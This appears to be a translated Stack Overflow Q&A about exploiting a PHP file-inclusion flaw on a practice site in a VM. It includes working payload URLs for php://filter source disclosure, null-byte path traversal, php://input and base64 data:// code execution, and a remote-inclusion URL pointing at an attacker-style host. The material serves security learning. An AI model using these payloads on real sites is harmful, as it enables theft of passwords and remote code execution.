PHP安全漏洞 - 列出远程PHP文件的内容?

11
我正在尝试利用虚拟机内运行的示例网站中的一些Web漏洞(仅供教育目的,不可在Web上使用)。我有一个名为setupreset.php的php文件,其中包含有关MySQL配置、设置和用于设置网站的密码的信息。这个文件与其他php文件(index、products、forum等)位于同一个目录中。
以下是index.php的代码,仅供参考:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>

主要目标是列出setupreset PHP文件的内容,或以某种方式下载它。如果我导航到此文件:http://10.211.55.5/index.php?page=setupreset,它会被执行,但PHP代码自然不会显示,因为它由PHP解释器解析。

现在,网站使用PHP include,因此URL看起来像这样:http://10.211.55.5/index.php?page=products。这似乎容易受到远程文件包含的攻击,我可以简单地指向另一个PHP页面,例如http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php,但allow_url_includeoff且无法更改,因此这行不通(我已经尝试过了)。但是,allow_url_fopen可能处于打开状态(因为默认情况下是打开的),所以我的问题如下:是否可能使用这种漏洞上传列出setupreset.php内容的PHP文件或某些脚本?


2
它不是由浏览器解析的,而是由PHP解释器解析的。浏览器只是显示它。你尝试过目录遍历吗?这可能有效... - nietonfir
抱歉,@nietonfir,那就是我想说的。 - swiftcode
1
不确定是否有错别字,但是应该是 $_GET["page"] 对吧? - nietonfir
它不是由浏览器解析的,而是由PHP解释器解析的。浏览器仅显示它。 - user2176127
3个回答

36
如果allow_url_include关闭,您将无法执行远程代码。但是您可以找到其他页面(例如内容管理仪表板)将您的代码上传为“图像”,然后找到实际路径并include它。
此外,仍有利用方式。
让我们来看看您的代码。您可能会注意到它自动在路径末尾添加扩展名.php。因此,您应该删除GET参数中的php。但是,如果要包含的文件没有PHP扩展名怎么办?那么使用%00终止字符串,例如:
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00

PHP中有一个特殊的协议,强大而危险。它就是php://。 您可以查看官方手册以获取详细信息,这里我将展示一些案例,使文件包含漏洞变成源代码泄露甚至远程代码执行漏洞。

在测试之前,建议您使用带有HackBar插件的Firefox。它是一个功能强大的渗透测试套件。

  1. 源代码泄露

此功能不需要允许URL包含。

php://filter是一种元包装器,旨在允许在打开流时对流应用过滤器。这对于诸如readfile()、file()和file_get_contents()等全能文件函数非常有用,在这些函数中,否则没有机会在读取内容之前对流应用过滤器。(参考)

然后,通过以下请求,您可以看到同一目录中的源代码secret.inc.php

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc

demo

文件内容将以base64编码形式进行,所以它支持二进制文件。

获取敏感信息非常强大,例如数据库密码或加密密钥!如果权限没有正确配置,它甚至可以跳出笼子并从外部目录中的文件提取数据,例如/etc/passwd

  1. 远程代码执行

实际上你无法通过这种方式进行利用,因为在这种情况下allow_url_include是关闭的。

但我必须指出它的神奇之处

它与本地包含完全不同。它不需要上传任何文件到远程服务器或其他地方。你只需要一个请求。

php://input可以访问原始的HTTP请求主体,那么include("php://input")做了什么呢?只需访问http://localhost/include.php?page=php://input,并在请求主体中填入有效的PHP代码,然后你就可以在远程服务器上执行任何(允许的)函数!

enter image description here

不要忘记使用%00来删除.php尾部。

此外,PHP支持data:// URL方案。您可以直接将代码放在GET参数中!以下测试不需要任何特殊工具,只需普通浏览器即可执行攻击。

http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>

一些网络应用防火墙可能会检测URL中的可疑字符串并阻止恶意请求,但它们不会放过phpinfo。有没有一种加密的方法?当然有。data:// URL至少支持base64编码...

http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

你将再次熟悉phpinfo!

with base64 encoding

注意

空字节技巧(%00)在 PHP >= 5.3.4 中已经不再适用:http://blog.benjaminwalters.net/?p=22139


很棒的工具,我一定会去试试!请求 php://filter/read=convert.base64-encode/resource 起了作用,因为网站通过执行 http://10.211.55.5/index.php?page=php://filter/read=convert.base64-encode/resource=setupreset 给了我文件的 base64 编码版本。然后我只需使用在线解码器(例如 http://www.base64decode.org/)即可获取原始内容。非常感谢! - swiftcode
2
没问题。顺便说一下,您可以在现代浏览器中直接解码base64,只需导航到 data:text/plaintext;base64,aGVsbG8gd29ybGQ=,看看会发生什么。 ;) - user1902830
1
那是什么插件? :) - Menztrual
1
@BrendanScarvell 这是一个强大的渗透助手,可以让您执行复杂的HTTP请求。请查看链接以获取详细信息。 :) - user1902830
1
请注意,该博客已无法访问。但您仍可通过WayBackMachine访问:http://web.archive.org/web/20140625025938/http://blog.benjaminwalters.net/?p=22139 - Whitebird
当您的 cookie 中存在 null 字节文件包含漏洞时会发生什么。代码本身会使用 include 函数和 cookie[user] 值构建一个带有 .php 扩展名的变量。 - Dusty Boshoff

2
使用目录遍历,并以%00 NUL元字符结尾输入字符串(如wikipedia所述)。
http://example.com/index.php?page=setuppreset%00

这将从引用中移除“.php”后缀,并可能在某种程度上帮助您。

0

不是这样的。PHP 文件被执行是因为你调用了 include,如果你使用 readfilefile_get_contents 或类似的方法,你就可以看到 PHP 文件的内容。


是的,那很容易,但不幸的是,除非通过某种形式的漏洞,否则我无法更改文件的源代码。 - swiftcode
@evert,你能解释一下如何使用file_get_content()函数吗?我只是得到了HTML。 - Emilio Gort

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接